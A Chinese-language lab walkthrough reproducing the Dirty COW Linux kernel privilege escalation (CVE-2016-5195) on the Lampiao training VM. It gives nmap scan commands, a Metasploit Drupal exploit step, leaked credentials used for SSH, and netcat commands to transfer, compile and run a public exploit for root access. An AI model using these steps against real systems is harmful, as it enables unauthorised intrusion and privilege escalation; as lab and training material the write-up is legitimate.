脏牛提权复现
脏牛(Dirty Cow)是Linux内核的一个提权漏洞,之所以叫Dirty Cow,Linux内核的内存子系统在处理写入复制(copy-on-write, cow)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。
脏牛的CVE编号是CVE-2016-5195。
“Dirty Cow”缺陷存在于Linux内核的一部分,内核是每个发行版的一部分开源操作系统,包括
RedHat,Debian,发布的Ubuntu,差不多有十年了。最重要的是,研究人员指出“Dirty Cow”的漏洞攻击代码,正在积极利用。“Dirty Cow”可能允许任何安装恶意程序获得行政(root) 完全访问设备的权限和劫持。这个地方借助靶机Lampiao来演示具体提权流程。
脏牛提权脚本:https://github.com/gbonacini/CVE-2016-5195
靶机下载地址:https://mega.nz/file/aG4AAaDB#CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM
存活主机发现
Kali ip ===> 192.168.15.100
- 命令:nmap -sP 192.168.15.0/24
对目标IP地址进行端口扫描
- 命令:nmap -p1-65535 192.168.15.107
发现开放了3个端口,分别是22、80、1898端口
访问开放端口
80端口:
1989端口:
相比较于80端口,这个端口所显示的信息更多,我们进行一下信息收集,发现以下信息
MSF
这里msf搜索drupal
使用第一个模块进行攻击
直接获取到meterpreter,getuid发现不是管理员权限
信息收集
输入ls -l
,以此进入以下文件
发现了有个配置文件,进去查看,发现以下信息
找到用户名
这里我们尝试使用账号:tiago,密码:Virgulino,进行登录
因为之前看到开启了22端口,我们这里尝试ssh远程登录,登录进去了!!!但是不是管理员权限,所以接下来就是提权
提权
怎么确定是否存在脏牛提权呢?
通过uname -a命令来看:如果内核版本低于以下版本说明存在
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
说明存在脏牛提权漏洞,那么我们就准备脚本 ===> 脚本获取连接在最下方
利用nc上传文件到目标靶机
首先我们先进行监听
nc -l 9527 > CVE-2016-5195-master.zip
然后上传目标文件到靶机
nc 192.168.15.107 9527 < CVE-2016-5195-master.zip
查看目标靶机是否存在此文件 (再另起一个终端去上传!!!)
上传
nc 192.168.15.107 9527 < 1.tar.gz
解压然后编译
unzip CVE-2016-5195-master.zip
cd CVE-2016-5195-master
make
运行下图这个文件
得到密码:dirtyCowFun
提权成功!!!